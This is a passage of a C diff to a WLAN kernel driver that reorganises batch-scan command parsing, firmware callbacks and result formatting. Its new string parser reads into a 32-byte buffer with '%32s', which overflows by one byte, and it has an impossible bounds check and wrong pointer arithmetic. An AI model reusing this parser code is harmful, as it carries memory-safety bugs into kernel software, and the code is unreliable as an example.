pAdapter->hdd_wait_for_get_batch_scan_rsp) && - (TRUE == isLastAp)) - { - pAdapter->hdd_wait_for_get_batch_scan_rsp = FALSE; - complete(&pAdapter->hdd_get_batch_scan_req_var); - } +#endif /* WLAN_FEATURE_RMC */ - return; -}/*End of hdd_batch_scan_result_ind_callback*/ +#ifdef FEATURE_WLAN_BATCH_SCAN /**--------------------------------------------------------------------------- - \brief hdd_format_batch_scan_rsp () - This function formats batch scan - response as per batch scan FR request format by putting proper markers + \brief hdd_extract_assigned_int_from_str() - Extracts assigned integer from + input string - \param - pDest pointer to destination buffer - \param - cur_len current length - \param - tot_len total remaining size which can be written to user space - \param - pApMetaInfo Pointer to get batch scan response AP meta info - \param - pAdapter Pointer to HDD adapter + This function extracts assigned integer from string in below format: + "STRING=10" : extracts integer 10 from this string - \return - ret no of characters written + \param - pInPtr Pointer to input string + \param - base Base for string to int conversion(10 for decimal 16 for hex) + \param - pOutPtr Pointer to variable in which extracted integer needs to be + assigned + \param - pLastArg to tell whether it is last arguement in input string or + not + \return - NULL for failure cases + pointer to next arguement in input string for success cases --------------------------------------------------------------------------*/ -static tANI_U32 -hdd_format_batch_scan_rsp +static tANI_U8 * +hdd_extract_assigned_int_from_str ( - tANI_U8 *pDest, - tANI_U32 cur_len, - tANI_U32 tot_len, - tHddBatchScanRsp *pApMetaInfo, - hdd_adapter_t* pAdapter + tANI_U8 *pInPtr, + tANI_U8 base, + tANI_U32 *pOutPtr, + tANI_U8 *pLastArg ) { - tANI_U32 ret = 0; - tANI_U32 rem_len = 0; - tANI_U8 temp_len = 0; - tANI_U8 temp_total_len = 0; - tANI_U8 temp[HDD_BATCH_SCAN_AP_META_INFO_SIZE]; - tANI_U8 *pTemp = temp; + int tempInt; + int v = 0; + char buf[32]; + int val = 0; + *pLastArg = FALSE; - /*Batch scan reponse needs to be returned to user space in - following format: - "scancount=X\n" where X is the number of scans in current batch - batch - "trunc\n" optional present if current scan truncated - "bssid=XX:XX:XX:XX:XX:XX\n" - "ssid=XXXX\n" - "freq=X\n" frequency in Mhz - "level=XX\n" - "age=X\n" ms - "dist=X\n" cm (-1 if not available) - "errror=X\n" (-1if not available) - "====\n" (end of ap marker) - "####\n" (end of scan marker) - "----\n" (end of results)*/ - /*send scan result in above format to user space based on - available length*/ - /*The GET response may have more data than the driver can return in its - buffer. In that case the buffer should be filled to the nearest complete - scan, ending with "%%%%".Subsequent callsshould return the remaining data - starting with the next scan (optional .trunc\n., .apcount=X\n., etc). - The final buffer should end with "----\n"*/ + pInPtr = strnchr(pInPtr, strlen(pInPtr), EQUALS_TO_ASCII_VALUE); + if (NULL == pInPtr) + { + return NULL; + } - /*sanity*/ - if (cur_len > tot_len) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: invaid cur_len %d tot_len %d", __func__, cur_len, tot_len); - return 0; - } - else - { - rem_len = (tot_len - cur_len); - } + pInPtr++; - /*end scan marker*/ - if (pApMetaInfo->ApInfo.batchId != pAdapter->prev_batch_id) - { - temp_len = snprintf(pTemp, sizeof(temp), "####\n"); - pTemp += temp_len; - temp_total_len += temp_len; - } + while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; - /*bssid*/ - temp_len = snprintf(pTemp, sizeof(temp), - "bssid=0x%x:0x%x:0x%x:0x%x:0x%x:0x%x\n", - pApMetaInfo->ApInfo.bssid[0], pApMetaInfo->ApInfo.bssid[1], - pApMetaInfo->ApInfo.bssid[2], pApMetaInfo->ApInfo.bssid[3], - pApMetaInfo->ApInfo.bssid[4], pApMetaInfo->ApInfo.bssid[5]); - pTemp += temp_len; - temp_total_len += temp_len; + val = sscanf(pInPtr, "%32s ", buf); + if (val < 0 && val > strlen(pInPtr)) + { + return NULL; + } + pInPtr += val; + v = kstrtos32(buf, base, &tempInt); + if (v < 0) + { + return NULL; + } + if (tempInt < 0) + { + tempInt = 0; + } + *pOutPtr = tempInt; - /*ssid*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "ssid=%s\n", - pApMetaInfo->ApInfo.ssid); - pTemp += temp_len; - temp_total_len += temp_len; + pInPtr = strnchr(pInPtr, strlen(pInPtr), SPACE_ASCII_VALUE); + if (NULL == pInPtr) + { + *pLastArg = TRUE; + return NULL; + } + while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; - /*freq*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "freq=%d\n", - sme_ChnToFreq(pApMetaInfo->ApInfo.ch)); - pTemp += temp_len; - temp_total_len += temp_len; - - /*level*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "level=%d\n", - pApMetaInfo->ApInfo.rssi); - pTemp += temp_len; - temp_total_len += temp_len; - - /*age*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "age=%d\n", - pApMetaInfo->ApInfo.age); - pTemp += temp_len; - temp_total_len += temp_len; - - /*dist*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "dist=-1\n"); - pTemp += temp_len; - temp_total_len += temp_len; - - /*error*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "error=-1\n"); - pTemp += temp_len; - temp_total_len += temp_len; - - /*end AP marker*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "====\n"); - pTemp += temp_len; - temp_total_len += temp_len; - - /*last AP in batch scan response*/ - if(TRUE == pApMetaInfo->ApInfo.isLastAp) - { - /*end scan marker*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "####\n"); - pTemp += temp_len; - temp_total_len += temp_len; - - /*end batch scan result marker*/ - temp_len = snprintf(pTemp, (sizeof(temp) - temp_total_len), "----\n"); - pTemp += temp_len; - temp_total_len += temp_len; - - } - - if (temp_total_len < rem_len) - { - ret = temp_total_len + 1; - strlcpy(pDest, temp, ret); - pAdapter->isTruncated = FALSE; - } - else - { - pAdapter->isTruncated = TRUE; - if (rem_len >= strlen("%%%%")) - { - ret = snprintf(pDest, sizeof(temp), "%%%%"); - } - else - { - ret = 0; - } - } - - return ret; - -}/*End of hdd_format_batch_scan_rsp*/ + return pInPtr; +} /**--------------------------------------------------------------------------- - \brief hdd_populate_user_batch_scan_rsp() - This function populates user data - buffer starting with head of hdd batch scan response queue + \brief hdd_extract_assigned_char_from_str() - Extracts assigned char from + input string - \param - pAdapter Pointer to HDD adapter - \param - pDest Pointer to user data buffer - \param - cur_len current offset in user buffer - \param - rem_len remaining no of bytes in user buffer + This function extracts assigned character from string in below format: + "STRING=A" : extracts char 'A' from this string - \return - number of bytes written in user buffer + \param - pInPtr Pointer to input string + \param - pOutPtr Pointer to variable in which extracted char needs to be + assigned + \param - pLastArg to tell whether it is last arguement in input string or + not + \return - NULL for failure cases + pointer to next arguement in input string for success cases --------------------------------------------------------------------------*/ - -tANI_U32 hdd_populate_user_batch_scan_rsp +static tANI_U8 * +hdd_extract_assigned_char_from_str ( - hdd_adapter_t* pAdapter, - tANI_U8 *pDest, - tANI_U32 cur_len, - tANI_U32 rem_len + tANI_U8 *pInPtr, + tANI_U8 *pOutPtr, + tANI_U8 *pLastArg ) { - tHddBatchScanRsp *pHead; - tHddBatchScanRsp *pPrev; - tANI_U32 len; + *pLastArg = FALSE; - pAdapter->isTruncated = FALSE; + pInPtr = strnchr(pInPtr, strlen(pInPtr), EQUALS_TO_ASCII_VALUE); + if (NULL == pInPtr) + { + return NULL; + } - /*head of hdd batch scan response queue*/ - pHead = pAdapter->pBatchScanRsp; - while (pHead) + pInPtr++; + + while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; + + *pOutPtr = *pInPtr; + + pInPtr = strnchr(pInPtr, strlen(pInPtr), SPACE_ASCII_VALUE); + if (NULL == pInPtr) { - len = hdd_format_batch_scan_rsp(pDest, cur_len, rem_len, pHead, - pAdapter); - pDest += len; - pDest--; - cur_len += len; - if(TRUE == pAdapter->isTruncated) - { - /*result is truncated return rest of scan rsp in next req*/ - cur_len = rem_len; - break; - } - pPrev = pHead; - pHead = pHead->pNext; - pAdapter->pBatchScanRsp = pHead; - if (TRUE == pPrev->ApInfo.isLastAp) - { - pAdapter->prev_batch_id = 0; - } - else - { - pAdapter->prev_batch_id = pPrev->ApInfo.batchId; - } - vos_mem_free(pPrev); - pPrev = NULL; - } + *pLastArg = TRUE; + return NULL; + } + while ((SPACE_ASCII_VALUE == *pInPtr) && ('\0' != *pInPtr)) pInPtr++; + + return pInPtr; +} - return cur_len; -}/*End of hdd_populate_user_batch_scan_rsp*/ /**--------------------------------------------------------------------------- - \brief hdd_return_batch_scan_rsp_to_user () - This function returns batch - scan response data from HDD queue to user space - It does following in detail: - a) if HDD has enough data in its queue then it 1st copies data to user - space and then send get batch scan indication message to FW. In this - case it does not wait on any event and batch scan response data will - be populated in HDD response queue in MC thread context after receiving - indication from FW - b) else send get batch scan indication message to FW and wait on an event - which will be set once HDD receives complete batch scan response from - FW and then this function returns batch scan response to user space + \brief hdd_parse_set_batchscan_command () - HDD parse set batch scan command - \param - pAdapter Pointer to HDD adapter - \param - pPrivData Pointer to priv_data + This function parses set batch scan command in below format: + WLS_BATCHING_SET followed by below arguements + "SCANFREQ=XX" : Optional defaults to 30 sec + "MSCAN=XX" : Required number of scans to attempt to batch + "BESTN=XX" : Best Network (RSSI) defaults to 16 + "CHANNEL=" : optional defaults to all channels, can list 'A'or` B. + A. implies only 5 GHz , B. implies only 2.4GHz + "RTT=X" : optional defaults to 0 + returns the MIN of MSCAN or the max # of scans firmware can cache or -1 on + error - \return - 0 for success -EFAULT for failure + For example input commands: + 1) WLS_BATCHING_SET SCANFREQ=60 MSCAN=10 BESTN=20 CHANNEL=A RTT=0 -> This is + translated into set batch scan with following parameters: + a) Frequence 60 seconds + b) Batch 10 scans together + c) Best RSSI to be 20 + d) 5GHz band only + e) RTT is equal to 0 - --------------------------------------------------------------------------*/ + \param - pValue Pointer to input channel list + \param - pHddSetBatchScanReq Pointer to HDD batch scan request structure -int hdd_return_batch_scan_rsp_to_user + \return - 0 for success non-zero for failure + + --------------------------------------------------------------------------*/ +static int +hdd_parse_set_batchscan_command ( - hdd_adapter_t* pAdapter, - hdd_priv_data_t *pPrivData, - tANI_U8 *command + tANI_U8 *pValue, + tSirSetBatchScanReq *pHddSetBatchScanReq ) { - tANI_U8 *pDest; - tANI_U32 count = 0; - tANI_U32 len = 0; - tANI_U32 cur_len = 0; - tANI_U32 rem_len = 0; - eHalStatus halStatus; - unsigned long rc; - tSirTriggerBatchScanResultInd *pReq; - - pReq = &pAdapter->hddTriggerBatchScanResultInd; - pReq->param = 0;/*batch scan client*/ - pDest = (tANI_U8 *)(command + pPrivData->used_len); - pAdapter->hdd_wait_for_get_batch_scan_rsp = FALSE; + tANI_U8 *inPtr = pValue; + tANI_U8 val = 0; + tANI_U8 lastArg = 0; + tANI_U32 nScanFreq = HDD_SET_BATCH_SCAN_DEFAULT_FREQ; + tANI_U32 nMscan; + tANI_U32 nBestN = HDD_SET_BATCH_SCAN_BEST_NETWORK; + tANI_U8 ucRfBand = HDD_SET_BATCH_SCAN_DEFAULT_BAND; + tANI_U32 nRtt = 0; + tANI_U32 temp; - cur_len = pPrivData->used_len; - if (pPrivData->total_len > pPrivData->used_len) + /*go to space after WLS_BATCHING_SET command*/ + inPtr = strnchr(pValue, strlen(pValue), SPACE_ASCII_VALUE); + /*no argument after the command*/ + if (NULL == inPtr) { - rem_len = pPrivData->total_len - pPrivData->used_len; + return -EINVAL; } - else + + /*no space after the command*/ + else if (SPACE_ASCII_VALUE != *inPtr) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Invalid user data buffer total_len %d used_len %d", - __func__, pPrivData->total_len, pPrivData->used_len); - return -EFAULT; + return -EINVAL; } - mutex_lock(&pAdapter->hdd_batch_scan_lock); - len = hdd_populate_user_batch_scan_rsp(pAdapter, pDest, - cur_len, rem_len); - mutex_unlock(&pAdapter->hdd_batch_scan_lock); + /*removing empty spaces*/ + while ((SPACE_ASCII_VALUE == *inPtr) && ('\0' != *inPtr)) inPtr++; - /*enough scan result available in cache to return to user space or - scan result needs to be fetched 1st from fw and then return*/ - if (len == cur_len) + /*no argument followed by spaces*/ + if ('\0' == *inPtr) { - pAdapter->hdd_wait_for_get_batch_scan_rsp = TRUE; - halStatus = sme_TriggerBatchScanResultInd( - WLAN_HDD_GET_HAL_CTX(pAdapter), pReq, - pAdapter->sessionId, hdd_batch_scan_result_ind_callback, - pAdapter); - if ( eHAL_STATUS_SUCCESS == halStatus ) - { - if (TRUE == pAdapter->hdd_wait_for_get_batch_scan_rsp) - { - INIT_COMPLETION(pAdapter->hdd_get_batch_scan_req_var); - rc = wait_for_completion_timeout( - &pAdapter->hdd_get_batch_scan_req_var, - msecs_to_jiffies(HDD_GET_BATCH_SCAN_RSP_TIME_OUT)); - if (0 == rc) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Timeout waiting to fetch batch scan rsp from fw", - __func__); - return -EFAULT; - } - } + return -EINVAL; + } - len = snprintf(pDest, HDD_BATCH_SCAN_AP_META_INFO_SIZE, - "scancount=%u\n", pAdapter->numScanList); - pDest += len; - cur_len += len; + /*check and parse SCANFREQ*/ + if ((strncmp(inPtr, "SCANFREQ", 8) == 0)) + { + inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, + &temp, &lastArg); - mutex_lock(&pAdapter->hdd_batch_scan_lock); - len = hdd_populate_user_batch_scan_rsp(pAdapter, pDest, - cur_len, rem_len); - mutex_unlock(&pAdapter->hdd_batch_scan_lock); + if (0 != temp) + { + nScanFreq = temp; + } - count = 0; - len = (len - pPrivData->used_len); - pDest = (command + pPrivData->used_len); - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "NEW BATCH SCAN RESULT:"); - while(count < len) - { - printk("%c", *(pDest + count)); - count++; - } - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: copy %d data to user buffer", __func__, len); - if (copy_to_user(pPrivData->buf, pDest, len)) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: failed to copy data to user buffer", __func__); - return -EFAULT; - } + if ( (NULL == inPtr) || (TRUE == lastArg)) + { + return -EINVAL; } - else + } + + /*check and parse MSCAN*/ + if ((strncmp(inPtr, "MSCAN", 5) == 0)) + { + inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, + &nMscan, &lastArg); + + if (0 == nMscan) { VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "sme_GetBatchScanScan returned failure halStatus %d", - halStatus); - return -EINVAL; + "invalid MSCAN=%d", nMscan); + return -EINVAL; + } + + if (TRUE == lastArg) + { + goto done; + } + else if (NULL == inPtr) + { + return -EINVAL; } } else { - count = 0; - len = (len - pPrivData->used_len); - pDest = (command + pPrivData->used_len); - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "REMAINING TRUNCATED BATCH SCAN RESULT:"); - while(count < len) + return -EINVAL; + } + + /*check and parse BESTN*/ + if ((strncmp(inPtr, "BESTN", 5) == 0)) + { + inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, + &temp, &lastArg); + + if (0 != temp) { - printk("%c", *(pDest + count)); - count++; + nBestN = temp; } - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: copy %d data to user buffer", __func__, len); - if (copy_to_user(pPrivData->buf, pDest, len)) + + if (TRUE == lastArg) { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: failed to copy data to user buffer", __func__); - return -EFAULT; + goto done; + } + else if (NULL == inPtr) + { + return -EINVAL; } } - return 0; -} /*End of hdd_return_batch_scan_rsp_to_user*/ + /*check and parse CHANNEL*/ + if ((strncmp(inPtr, "CHANNEL", 7) == 0)) + { + inPtr = hdd_extract_assigned_char_from_str(inPtr, &val, &lastArg); + + if (('A' == val) || ('a' == val)) + { + ucRfBand = HDD_SET_BATCH_SCAN_5GHz_BAND_ONLY; + } + else if (('B' == val) || ('b' == val)) + { + ucRfBand = HDD_SET_BATCH_SCAN_24GHz_BAND_ONLY; + } + else + { + ucRfBand = HDD_SET_BATCH_SCAN_DEFAULT_BAND; + } + + if (TRUE == lastArg) + { + goto done; + } + else if (NULL == inPtr) + { + return -EINVAL; + } + } + + /*check and parse RTT*/ + if ((strncmp(inPtr, "RTT", 3) == 0)) + { + inPtr = hdd_extract_assigned_int_from_str(inPtr, 10, + &nRtt, &lastArg); + if (TRUE == lastArg) + { + goto done; + } + if (NULL == inPtr) + { + return -EINVAL; + } + } + + +done: + + pHddSetBatchScanReq->scanFrequency = nScanFreq; + pHddSetBatchScanReq->numberOfScansToBatch = nMscan; + pHddSetBatchScanReq->bestNetwork = nBestN; + pHddSetBatchScanReq->rfBand = ucRfBand; + pHddSetBatchScanReq->rtt = nRtt; + + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Received WLS_BATCHING_SET with SCANFREQ=%d " + "MSCAN=%d BESTN=%d CHANNEL=%d RTT=%d", + pHddSetBatchScanReq->scanFrequency, + pHddSetBatchScanReq->numberOfScansToBatch, + pHddSetBatchScanReq->bestNetwork, + pHddSetBatchScanReq->rfBand, + pHddSetBatchScanReq->rtt); + return 0; +}/*End of hdd_parse_set_batchscan_command*/ /**--------------------------------------------------------------------------- - \brief hdd_handle_batch_scan_ioctl () - This function handles WLS_BATCHING - IOCTLs from user space. Following BATCH SCAN DEV IOCTs are handled: - WLS_BATCHING VERSION - WLS_BATCHING SET - WLS_BATCHING GET - WLS_BATCHING STOP + \brief hdd_set_batch_scan_req_callback () - This function is called after + receiving set batch scan response from FW and it saves set batch scan + response data FW to HDD context and sets the completion event on + which hdd_ioctl is waiting - \param - pAdapter Pointer to HDD adapter - \param - pPrivdata Pointer to priv_data - \param - command Pointer to command + \param - callbackContext Pointer to HDD adapter + \param - pRsp Pointer to set batch scan response data received from FW - \return - 0 for success -EFAULT for failure + \return - nothing --------------------------------------------------------------------------*/ - -int hdd_handle_batch_scan_ioctl +static void hdd_set_batch_scan_req_callback ( - hdd_adapter_t *pAdapter, - hdd_priv_data_t *pPrivdata, - tANI_U8 *command + void *callbackContext, + tSirSetBatchScanRsp *pRsp ) { - int ret = 0; - hdd_context_t *pHddCtx; - - ENTER(); + hdd_adapter_t* pAdapter = (hdd_adapter_t*)callbackContext; + tSirSetBatchScanRsp *pHddSetBatchScanRsp; - pHddCtx = WLAN_HDD_GET_CTX(pAdapter); - ret = wlan_hdd_validate_context(pHddCtx); - if (ret) + /*sanity check*/ + if (WLAN_HDD_ADAPTER_MAGIC != pAdapter->magic) { - goto exit; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid pAdapter magic", __func__); + VOS_ASSERT(0); + return; } + pHddSetBatchScanRsp = &pAdapter->hddSetBatchScanRsp; - if (strncmp(command, "WLS_BATCHING VERSION", 20) == 0) - { - char extra[32]; - tANI_U8 len = 0; - tANI_U8 version = HDD_BATCH_SCAN_VERSION; + /*save set batch scan response*/ + pHddSetBatchScanRsp->nScansToBatch = pRsp->nScansToBatch; - if (FALSE == sme_IsFeatureSupportedByFW(BATCH_SCAN)) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Batch scan feature is not supported by FW", __func__); - ret = -EINVAL; - goto exit; - } + VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Received set batch scan rsp from FW with nScansToBatch=%d", + pHddSetBatchScanRsp->nScansToBatch); - len = scnprintf(extra, sizeof(extra), "WLS_BATCHING_VERSION %d", - version); - if (copy_to_user(pPrivdata->buf, &extra, len + 1)) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: failed to copy data to user buffer", __func__); - ret = -EFAULT; - goto exit; - } - ret = HDD_BATCH_SCAN_VERSION; - } - else if (strncmp(command, "WLS_BATCHING SET", 16) == 0) - { - int status; - tANI_U8 *value = (command + 16); - eHalStatus halStatus; - unsigned long rc; - tSirSetBatchScanReq *pReq = &pAdapter->hddSetBatchScanReq; - tSirSetBatchScanRsp *pRsp = &pAdapter->hddSetBatchScanRsp; + pAdapter->hdd_wait_for_set_batch_scan_rsp = FALSE; + complete(&pAdapter->hdd_set_batch_scan_req_var); - if (FALSE == sme_IsFeatureSupportedByFW(BATCH_SCAN)) - { - VOS_TRACE( VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - "%s: Batch scan feature is not supported by FW", __func__); - ret = -EINVAL; - goto exit; - } + return; +}/*End of hdd_set_batch_scan_req_callback*/ + + +/**--------------------------------------------------------------------------- + + \brief hdd_populate_batch_scan_rsp_queue () - This function stores AP meta + info in hdd batch scan response queue + + \param - pAdapter Pointer to hdd adapter + \param - pAPMetaInfo Pointer to access point meta info + \param - scanId scan ID of batch scan response + \param - isLastAp tells whether AP is last AP in batch scan response or not + + \return - nothing + + --------------------------------------------------------------------------*/ +static void hdd_populate_batch_scan_rsp_queue( hdd_adapter_t* pAdapter, + tpSirBatchScanNetworkInfo pApMetaInfo, tANI_U32 scanId, v_BOOL_t isLastAp) +{ + tHddBatchScanRsp *pHead; + tHddBatchScanRsp *pNode; + tHddBatchScanRsp *pPrev; + tHddBatchScanRsp *pTemp; + tANI_U8 ssidLen; + + /*head of hdd batch scan response queue*/ + pHead = pAdapter->pBatchScanRsp; + + pNode = (tHddBatchScanRsp *)vos_mem_malloc(sizeof(tHddBatchScanRsp)); + if (NULL == pNode) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Could not allocate memory", __func__); + VOS_ASSERT(0); + return; + } + + vos_mem_copy(pNode->ApInfo.bssid, pApMetaInfo->bssid, + sizeof(pNode->ApInfo.bssid)); + ssidLen = strlen(pApMetaInfo->ssid); + if (SIR_MAX_SSID_SIZE < ssidLen) + { + /*invalid scan result*/ + vos_mem_free(pNode); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid AP meta info ssidlen %d", __func__, ssidLen); + return; + } + vos_mem_copy(pNode->ApInfo.ssid, pApMetaInfo->ssid, ssidLen); + /*null terminate ssid*/ + pNode->ApInfo.ssid[ssidLen] = '\0'; + pNode->ApInfo.ch = pApMetaInfo->ch; + pNode->ApInfo.rssi = pApMetaInfo->rssi; + pNode->ApInfo.age = pApMetaInfo->timestamp; + pNode->ApInfo.batchId = scanId; + pNode->ApInfo.isLastAp = isLastAp; + + pNode->pNext = NULL; + if (NULL == pHead) + { + pAdapter->pBatchScanRsp = pNode; + } + else + { + pTemp = pHead; + while (NULL != pTemp) + { + pPrev = pTemp; + pTemp = pTemp->pNext; + } + pPrev->pNext = pNode; + } + + return; +}/*End of hdd_populate_batch_scan_rsp_queue*/ + +/**--------------------------------------------------------------------------- + + \brief hdd_batch_scan_result_ind_callback () - This function is called after + receiving batch scan response indication from FW. It saves get batch scan + response data in HDD batch scan response queue. This callback sets the + completion event on which hdd_ioctl is waiting only after getting complete + batch scan response data from FW + + \param - callbackContext Pointer to HDD adapter + \param - pRsp Pointer to get batch scan response data received from FW + + \return - nothing + + --------------------------------------------------------------------------*/ +static void hdd_batch_scan_result_ind_callback +( + void *callbackContext, + void *pRsp +) +{ + v_BOOL_t isLastAp; + tANI_U32 numApMetaInfo; + tANI_U32 numNetworkInScanList; + tANI_U32 numberScanList; + tANI_U32 nextScanListOffset; + tANI_U32 nextApMetaInfoOffset; + hdd_adapter_t* pAdapter; + tpSirBatchScanList pScanList; + tpSirBatchScanNetworkInfo pApMetaInfo; + tpSirBatchScanResultIndParam pBatchScanRsp;/*batch scan rsp data from FW*/ + tSirSetBatchScanReq *pReq; + + pAdapter = (hdd_adapter_t *)callbackContext; + /*sanity check*/ + if ((NULL == pAdapter) || (WLAN_HDD_ADAPTER_MAGIC != pAdapter->magic)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Invalid pAdapter magic", __func__); + VOS_ASSERT(0); + return; + } + + /*initialize locals*/ + pReq = &pAdapter->hddSetBatchScanReq; + pBatchScanRsp = (tpSirBatchScanResultIndParam)pRsp; + isLastAp = FALSE; + numApMetaInfo = 0; + numNetworkInScanList = 0; + numberScanList = 0; + nextScanListOffset = 0; + nextApMetaInfoOffset = 0; + pScanList = NULL; + pApMetaInfo = NULL; + + if ((NULL == pBatchScanRsp) || (NULL == pReq)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: pBatchScanRsp is %p pReq %p", __func__, pBatchScanRsp, pReq); + isLastAp = TRUE; + goto done; + } + + pAdapter->numScanList = numberScanList = pBatchScanRsp->numScanLists; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Batch scan rsp: numberScalList %d", numberScanList); + + if ((!numberScanList) || (numberScanList > pReq->numberOfScansToBatch)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: numberScanList %d", __func__, numberScanList); + isLastAp = TRUE; + goto done; + } + + while (numberScanList) + { + pScanList = (tpSirBatchScanList)((tANI_U8 *)pBatchScanRsp->scanResults + + nextScanListOffset); + if (NULL == pScanList) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: pScanList is %p", __func__, pScanList); + isLastAp = TRUE; + goto done; + } + numNetworkInScanList = numApMetaInfo = pScanList->numNetworksInScanList; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "Batch scan rsp: numApMetaInfo %d scanId %d", + numApMetaInfo, pScanList->scanId); + + if ((!numApMetaInfo) || (numApMetaInfo > pReq->bestNetwork)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: numApMetaInfo %d", __func__, numApMetaInfo); + isLastAp = TRUE; + goto done; + } + + /*Initialize next AP meta info offset for next scan list*/ + nextApMetaInfoOffset = 0; + + while (numApMetaInfo) + { + pApMetaInfo = (tpSirBatchScanNetworkInfo)(pScanList->scanList + + nextApMetaInfoOffset); + if (NULL == pApMetaInfo) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: pApMetaInfo is %p", __func__, pApMetaInfo); + isLastAp = TRUE; + goto done; + } + /*calculate AP age*/ + pApMetaInfo->timestamp = + pBatchScanRsp->timestamp - pApMetaInfo->timestamp; + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "%s: bssId "MAC_ADDRESS_STR + " ch %d rssi %d timestamp %d", __func__, + MAC_ADDR_ARRAY(pApMetaInfo->bssid), + pApMetaInfo->ch, pApMetaInfo->rssi, + pApMetaInfo->timestamp); + + /*mark last AP in batch scan response*/ + if ((TRUE == pBatchScanRsp->isLastResult) && + (1 == numberScanList) && (1 == numApMetaInfo)) + { + isLastAp = TRUE; + } + + mutex_lock(&pAdapter->hdd_batch_scan_lock); + /*store batch scan repsonse in hdd queue*/ + hdd_populate_batch_scan_rsp_queue(pAdapter, pApMetaInfo, + pScanList->scanId, isLastAp); + mutex_unlock(&pAdapter->hdd_batch_scan_lock); + + nextApMetaInfoOffset += sizeof(tSirBatchScanNetworkInfo); + numApMetaInfo--; + } + + nextScanListOffset += ((sizeof(tSirBatchScanList) - sizeof(tANI_U8)) + + (sizeof(tSirBatchScanNetworkInfo) + * numNetworkInScanList)); + numberScanList--; + } + +done: + + /*notify hdd_ioctl only if complete batch scan rsp is received and it was + requested from hdd_ioctl*/ + if ((TRUE == pAdapter->hdd_wait_for_get_batch_scan_rsp) && + (TRUE == isLastAp)) + { + pAdapter->hdd_wait_for_get_batch_scan_rsp = FALSE; + complete(&pAdapter->hdd_get_batch_scan_req_var); + } + + return; +}/*End of hdd_batch_scan_result_ind_callback*/ + +/**--------------------------------------------------------------------------- + + \brief hdd_format_batch_scan_rsp () - This function formats batch scan + response as per batch scan FR request format by putting proper markers + + \param - pDest pointer to destination buffer + \param - cur_len current length + \param - tot_len total remaining size which can be written to user space + \param - pApMetaInfo Pointer to get batch scan response AP meta info + \param - pAdapter Pointer to HDD adapter + + \return - ret no of characters written + + --------------------------------------------------------------------------*/ +static tANI_U32 +hdd_format_batch_scan_rsp +( + tANI_U8 *pDest, + tANI_U32 cur_len, + tANI_U32 tot_len, + tHddBatchScanRsp *pApMetaInfo, + hdd_adapter_t* pAdapter +) +{ + tANI_U32 ret = 0; + tANI_U32 rem_len = 0; + tANI_U8 temp_len = 0; + tANI_U8 temp_total_len = 0; + tANI_U8 temp[HDD_BATCH_SCAN_AP_META_INFO_SIZE]; + tANI_U8 *pTemp = temp; + + /*Batch scan reponse needs to be returned to user space in + following format: + "scancount=X\n" where X is the number of scans in current batch + batch + "trunc\n" optional present if current scan truncated + "bssid=XX:XX:XX:XX:XX:XX\n" + "ssid=XXXX\n" + "freq=X\n" frequency in Mhz + "level=XX\n" + "age=X\n" ms + "dist=X\n" cm (-1 if not available) + "errror=X\n" (-1if not available) + "====\n" (end of ap marker) + "####\n" (end of scan marker) + "----\n" (end of results)*/ + /*send scan result in above format to user space based on + available 